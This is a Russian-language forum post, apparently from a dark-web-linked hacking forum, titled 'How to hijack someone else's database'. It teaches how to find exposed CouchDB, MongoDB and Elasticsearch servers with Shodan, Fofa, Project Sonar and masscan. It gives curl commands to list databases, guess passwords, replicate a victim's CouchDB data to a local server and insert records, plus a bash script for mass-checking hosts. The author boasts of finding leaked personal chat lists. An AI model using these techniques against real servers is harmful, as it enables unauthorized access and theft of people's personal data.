Как угнать чужую базу данных

  • На форуме работает ручное одобрение пользователей. Это значит, что, если Ваша причина регистрации не соответствует тематике форума, а также Вы используете временную почту, Ваша учётная запись будет отклонена без возможности повторной регистрации. В дальнейшем - пожизненная блокировка обоих аккаунтов за создание мультиаккаунта.
  • Мы обновили Tor зеркало до v3!
    Для входа используйте следующий url: darkv3nw2...bzad.onion/
  • Мы вновь вернули telegram чат форуму, вступайте, общайтесь, задавайте любые вопросы как администрации, так и пользователям!
    Ссылка: https://t.me/chat_dark_time

shelby

Участник

shelby

Участник
19 Июн 2022
5
3
Прежде чем приступать непосредственно к атакам, предлагаю разобраться, почему они вообще возможны и почему жизнь по‑прежнему ничему не учит админов и прочих причастных к защите БД:

  • Порог вхождения в применение современных БД, как и в IT в целом, снижается. Начинающему эникейщику все проще попасть на администрирование сервиса, требующего тщательной и внимательной настройки, да и элементарных знаний о конкретном продукте.
  • Частенько авторизацию отключают по соображениям «удобства» работы с данными. В итоге наружу торчит порт, а нередко и интерфейс СУБД, с которым можно делать что угодно. Приходи — бери что хочешь…
  • Начальство требует сделать все максимально дешево, так как денег мало и тратить их на достойного спеца не хочется. Вот и просят дизайнера Ваську накатить и настроить БД для компании за чашку кофе. Какая уж тут безопасность — хорошо, если хоть пароль поставит.
Таким образом, одной из основных причин утечки данных служит криворукость администраторов и небезопасная конфигурация СУБД, оставленная в результате невнимательности или же просто недостатка знаний.

САМЫЕ ИНТЕРЕСНЫЕ СУБД
СУБД — это система управления базами данных, которая обеспечивает механизм хранения и поиска этих самых данных. В дальнейшем я буду часто использовать это сокращение.

CouchDB
R--JOfxIWvFVg1P4voiS9hhSTCRD-NPTvcjshtslWP3UTRcxbo.jpg R--JOfxIWvFVg1P4voiS9hhSTCRD-NPTvcjshtslWP3UTRcxbo.jpg
CouchDB — это база данных с открытым исходным кодом, разработанная программным фондом Apache. Классическая NoSQL-база. Написана на языке Erlang.

Больше всего нас интересуют способы подключения:

  • порт HTTP API (по умолчанию — 5984);
  • веб‑интерфейс
    Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
    .
Доступ к БД реализован по протоколу HTTP с использованием JSON API, что позволяет обращаться к данным в том числе из выполняемых в браузере веб‑приложений. Имеет свой собственный графический веб‑интерфейс (
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
).

Мы же воспользуемся обычным curl.

  • Вот, к примеру, запрос приветствия:
curl
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!


  • Ответ расскажет нам о номере версии, имени поставщика и версии программного обеспечения:
{

"couchdb":"Welcome","version":"2.3.1",

"git_sha":"c298091a4",

"uuid":"777dc19849f3ff0392ba09dec1a62fa7",

"features":["pluggable-storage-engines","scheduler"],

"vendor":{"name":"The Apache Software Foundation"}

}

  • Чтобы получить список всех БД на сервере, можно выполнить такой запрос:
curl
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!


  • В ответ мы увидим:
[

"_replicator",

"_users",

"mychannel_",

"mychannel_kizuna-chaincode",

"mychannel_lscc",

"mychannel_user"

]

Здесь _replicator и _users — это стандартные БД.
  • В ответ также можно получить такую ошибку:
{

"error":"unauthorized",

"reason":"You are not a server admin."

}

Смело идем мимо, здесь ловить нечего. Уровень анонимного доступа настроен так, что мы не можем даже увидеть список БД на сервере, не то что к ним подключиться. Но можно попробовать наудачу подобрать пароль.

  • Запрос на авторизацию выглядит следующим образом:
curl -X PUT
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
-u "login:password"

  • Чтобы подключиться к графическому интерфейсу, нет необходимости ставить какое‑либо ПО, достаточно просто в браузере перейти по такому адресу:
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!

  • Чтобы унести данные, можно воспользоваться следующим запросом:
curl -X POST -d '{"source":"
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
","target":"
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
"}'
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
-H "Content-Type: application/json"

Конечно же, потребуется поднять сервер CouchDB на локальной машине.

Впрочем, было бы странно, если бы его у тебя не было, раз уж ты собрался работать с этой базой.
MongoDB
ucpXUZVGVB3KkUK-Ws1HOVW8Trm618xzOF7P0tavhd4NniJYJp.jpg ucpXUZVGVB3KkUK-Ws1HOVW8Trm618xzOF7P0tavhd4NniJYJp.jpg
MongoDB — это кросс‑платформенная, документоориентированная база данных, которая обеспечивает высокую производительность и легкую масштабируемость. В основе данной БД лежит концепция коллекций и документов.

  • Способов подключения опять два:
  • HTTP API (порт по умолчанию — 27017);
  • клиент
    Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
    .
Получить минимальную информацию о находке можно простым GET-запросом на порт API:

curl -X GET
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!


Сведения здесь и правда скромные, без драйвера БД не удастся добыть хоть сколько‑нибудь полезные данные, кроме того, что БД здесь вообще присутствует (или нет).

  • Если на порте крутится действительно MongoDB, то ответ придет таким:
It looks like you are trying to access MongoDB over HTTP on the native driver port.

Этого вполне достаточно, чтобы продолжить ручную проверку при помощи графического клиента.

Увести данные из находки можно через GUI.

Elasticsearch
9fvtL0gCLr8QP7MGZ5LXSCUJtpYIs8gxZDqr1IXWbGL516woGu.jpg 9fvtL0gCLr8QP7MGZ5LXSCUJtpYIs8gxZDqr1IXWbGL516woGu.jpg
Elasticsearch — это представитель кластерных NoSQL баз данных, имеющий JSON REST API и использующий Lucene для полнотекстового поиска. Написана на Java. Мы будем рассматривать его как хранилище документов в формате JSON.

База Elasticsearch способна масштабироваться до петабайт структурированных и неструктурированных данных. Данные в индексе разделены на один или несколько осколков (шардов). Благодаря разделению Elasticsearch может масштабироваться и достигать размеров, которые не потянула бы одна машина. Elasticsearch — это распределенная система, описать максимальные объемы хранения данных затруднительно, могу сказать только, что там могут лежать петабайты и больше.

Способы подключения следующие:

  • HTTP API (порт по умолчанию — 9200);
  • графический клиент Kaizen, который
    Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
    .
HTTP API — штука очень простая. Для начала давай запросим приветствие.

  • Ради безопасности подопытного сервера часть адреса замазана:
curl -XGET
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!


  • Если все хорошо и мы правда нашли «Эластик», то в ответ придет что‑то подобное:
{

"name" : "node-2",

"cluster_name" : "es",

"cluster_uuid" : "q10ZJxLIQf-ZRZIC0kDkGQ",

"version" : {

"number" : "5.5.1",

"build_hash" : "19c13d0",

"build_date" : "2017-07-18T20:44:24.823Z",

"build_snapshot" : false,

"lucene_version" : "6.6.0"

},

"tagline" : "You Know, for Search"

}

  • Выведем список всех индексов в БД:
curl -XGET
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!


  • Ответ получим примерно такой:
health status index uuid pri rep docs.count docs.deleted store.size pri.store.size

green open bdp-interface x3DLdQRyTK2jssMvIJ3FmA 5 1 32576 28 428.9mb 214.4mb

green open onair-vlog Vsq0srUGSk2NvvYmXpxMBw 5 1 22 0 931.9kb 465.9kb

green open meizidb PCybF4SvTdSt1BoOCYLxNw 5 1 5328 1 27.9mb 13.9mb

green open rms-resource R6c3U5_pQgG71huRD0OdDA 5 1 125827 36 1.2gb 636.2mb

  • Узнаем названия полей, которые хранятся в БД:
curl -XGET
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!


  • Ответ:
{

"meizidb":{

"aliases":{},

"mappings":{

"assets":{

"dynamic_templates":[{"string":{

"match_mapping_type":"string",

"mapping":{"type":"keyword"}

}}],

"properties":{

"annexList":{

"properties":{

"annexFileId":{"type":"keyword"},

"annexName":{"type":"keyword"},

"annexSize":{"type":"long"},

"annexThumbUrl":{"type":"keyword"},

"annexType":{"type":"keyword"},

"annexUrl":{"type":"keyword"}

}

},

"appCode":{"type":"keyword"},

"asrText":{"type":"text","index_options":"offsets","analyzer":"ik_max_word"},

"assetsType":{"type":"keyword"},

"cdetail":{

"properties":{

"SP":{"type":"keyword"},

"jz":{"type":"keyword"},

"src":{"type":"keyword"},

"tag":{"type":"keyword"},

"type":{"type":"keyword"}

}

},

"companyId":{"type":"keyword"},

"companyName": ...

}

  • Можно и вносить записи:
curl -X POST
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
-H 'Content-Type: application/json' -d @- << EOF

{

"username" : "KassNT",

"subject" : "My Referal url: ",

"referal" : "
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
"

}

EOF

ПРИМЕРЫ РУЧНОГО ПОИСКА
Существуют два пути поиска жертв.

Первый путь — онлайновые сервисы, которые сканируют весь мир и предоставляют нам информацию о хостах при помощи поисковых операторов. Можно, например, «просто найти» цель в одном из них.

Показывать каждый подробно я не буду, но приведу несколько примеров. Например, запрос на поиск MongoDB для сервиса Fofa будет выглядеть так.

hJbXeIN_NL1PvlUxXVAK6YENR-036wiPHcunK2c6cVU1k3tmhK.jpg hJbXeIN_NL1PvlUxXVAK6YENR-036wiPHcunK2c6cVU1k3tmhK.jpg
Подобный ему сервис —
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
. Запрос на поиск хостов с поднятой CouchDB здесь будет выглядеть также несложно.

zWp0KJfzWValY01C1u2TyTut_kzuxUpxPl4BOhgCvCyt3OsI_K.jpg zWp0KJfzWValY01C1u2TyTut_kzuxUpxPl4BOhgCvCyt3OsI_K.jpg
Продемонстрирую результаты работы сервиса Shodan с помощью одноименной консольной утилиты. Результат поиска по запросу [product:mongodb all:"metrics"] будет как на скрине ниже.

tNSHQAIaZo2lGxhng08aN-LvbkuluZ49AFdoOeLq3ih4vO0FZ0.jpg tNSHQAIaZo2lGxhng08aN-LvbkuluZ49AFdoOeLq3ih4vO0FZ0.jpg
Второй путь — применить ручные сканеры.

Сканирование, конечно, ручное, но почему бы не воспользоваться готовым набором данных? Например, если VPS-провайдер не позволяет сканировать все подряд на огромной скорости, то эти ребята уже сделали все за вас! Ну, почти.

О Project Sonar слышало не так много людей. Это исследовательский проект, который сканирует сервисы и протоколы, чтобы получить представление о глобальном воздействии распространенных уязвимостей. Разработан в компании, создавшей, надеюсь, небезызвестный тебе Metasploit Framework, — Rapid7. Собранные данные доступны широкой публике для исследований в области безопасности.

eNZD9TqM-D3QBWmGjGKk0L3tuALC3_hDzOn5FJJP5CztxmGtfz.jpg eNZD9TqM-D3QBWmGjGKk0L3tuALC3_hDzOn5FJJP5CztxmGtfz.jpg
Нам будет интересен раздел
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
, где содержатся результаты опроса IP-адресов по различным портам. Подойдет, например, набор данных по результатам 9200 порта (Elasticsearch).

TCP Scans

[2022-06-07-1602049416-http_get_9200.csv.gz] [39.9 MB] [June 7, 2022]

Lines: 3 472 740

[ 'timestamp_ts' , 'saddr' , 'sport' , 'daddr' , 'dport' , 'ipid' , 'ttl' ]

'1602049426' , '146.148.230.26' , '9200' , '71.6.233.15' , '9200' , '54321' , '248'

'1602049426' , '34.102.229.177' , '9200' , '71.6.233.70' , '9200' , '60681' , '122'

'1602049426' , '104.232.64.108' , '9200' , '71.6.233.105' , '9200' , '54321' , '248'

'1602049426' , '164.116.204.58' , '9200' , '71.6.233.79' , '9200' , '38329' , '242'

'1602049426' , '35.186.233.76' , '9200' , '71.6.233.7' , '9200' , '44536' , '122'

'1602049426' , '192.43.242.72' , '9200' , '71.6.233.113' , '9200' , '19234' , '56'

'1602049426' , '166.241.202.174' , '9200' , '71.6.233.47' , '9200' , '26802' , '242'

'1602049426' , '142.92.75.134' , '9200' , '71.6.233.115' , '9200' , '28081' , '243'

'1602049426' , '198.86.33.87' , '9200' , '71.6.233.112' , '9200' , '17403' , '59'

Для Masscan составим такую команду на запуск:

masscan -p9200,9042,5984,27017 10.0.0.0/8 --echo > result.txt

1BBjad9H8mDbC1kezOUBkY2pYj-DGX7Gd8ixsfw1y4fj4F4oMZ.jpg 1BBjad9H8mDbC1kezOUBkY2pYj-DGX7Gd8ixsfw1y4fj4F4oMZ.jpg
Имея на руках готовый список хостов, можно приступить к детальной проверке.

Vy7v-zmixAargvfQHP5EdGpANhxskxyrnaADGcIXCGdHLuA2YN.jpg Vy7v-zmixAargvfQHP5EdGpANhxskxyrnaADGcIXCGdHLuA2YN.jpg
Здесь видно, что порт не просто открыт — на нем запущен сервис Elasticsearch.

В результате сканирования и поиска разными сервисами было обнаружено немало любопытного. На скринах — небольшая выборка.

E8Q49LI5Cm2g6vFtcJlnuRZoIA9_bBeacSI7TPYBEaVZYC0d_N.jpg E8Q49LI5Cm2g6vFtcJlnuRZoIA9_bBeacSI7TPYBEaVZYC0d_N.jpg
CouchDB
E8Q49LI5Cm2g6vFtcJlnuRZoIA9_bBeacSI7TPYBEaVZYC0d_N.jpg E8Q49LI5Cm2g6vFtcJlnuRZoIA9_bBeacSI7TPYBEaVZYC0d_N.jpg
InfoRisk
b71whYNvkOQTjeePI2TbAJO3J45vilWNxNr2ijFYpfBSCaXtq3.jpg b71whYNvkOQTjeePI2TbAJO3J45vilWNxNr2ijFYpfBSCaXtq3.jpg
InfoRisk
b71whYNvkOQTjeePI2TbAJO3J45vilWNxNr2ijFYpfBSCaXtq3.jpg b71whYNvkOQTjeePI2TbAJO3J45vilWNxNr2ijFYpfBSCaXtq3.jpg
Чаты
Неожиданно обнаружились списки имен, ников, фамилий (со ссылкой на конкретный аккаунт Telegram, VK или Viber), 16 баз данных, в каждой 15–20 тысяч строк таких вот списков.

9tThAe9pFOMy6kcCuH7hbXehutb_0TxlKTbPjvy84Esa6Qo7-i.jpg 9tThAe9pFOMy6kcCuH7hbXehutb_0TxlKTbPjvy84Esa6Qo7-i.jpg
Apache Cassandra
РАЗБОР ПОЛЕТОВ
Вот что в последнее время случается с теми, кто криво настраивает доступ к БД. Все данные отправляются на тот свет, а незадачливому админу остается только записка с требованием выкупа.

cBw_6tug9Tz00NMQQrLZxjozSa7VVeZwxBqRzzWtXIN92wL9iV.jpg cBw_6tug9Tz00NMQQrLZxjozSa7VVeZwxBqRzzWtXIN92wL9iV.jpg
Требование выкупа
АВТОМАТИЗАЦИЯ
Чтобы быстрее искать СУБД, я написал небольшой скрипт, который работает со списками в формате [ip]:[port]. Вот что он делает:

  • открывает на чтение указанный файл;
  • считывает строку ip:port через разделитель в переменную;
  • обращается при помощи curl по HTTP к хосту из переменной;
  • считывает http_response, пришедший от хоста (время ответа хоста ограничено в моем случае четырьмя секундами);
  • на основе полученного кода http_response хост сохраняется либо в «успешные», либо в «мусорку».
Действия совершаются циклически, пока не закончится входной файл.

echo "$LINE" | cut -d":" -f'1 2';

HTTP_CODE=$(curl --write-out "%{http_code}n" "http://"$LINE"" --output output.txt --silent --connect-timeout 4)

if (("$HTTP_CODE"=="200")); then

echo "##########################--HTTP_API_FOUND--#########################";

echo $LINE >> result.txt

else

echo "Tried to access it, but f'ed up";

echo $LINE >> trash_bin.txt

fi

rHh5SeOu77_laCPhWtOTxYeGdgTlTLFQfImMYXYXCFp9Z_5ZIW.jpg rHh5SeOu77_laCPhWtOTxYeGdgTlTLFQfImMYXYXCFp9Z_5ZIW.jpg
Пример работы скрипта
Как видишь, автоматизировать поиск целей и даже их дальнейшую «обработку» крайне легко.

ВЫВОДЫ
Я, конечно, рассмотрел далеко не все варианты, выбрав наиболее часто «текущие» СУБД. Но принцип, думаю, понятен: даже если ты админ, а не хакер, знать возможные векторы атак обязательно.

Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
 
  • Лайк
Reactions: AnGel

О нас

  • Наше сообщество существует уже много лет и гордится тем, что предлагает непредвзятое, критическое обсуждение различных тем среди людей разных слоев общества. Мы работаем каждый день, чтобы убедиться, что наше сообщество является одним из лучших.

    Dark-Time 2015 - 2022

    При поддержке: XenForo.Info

Быстрая навигация

Меню пользователя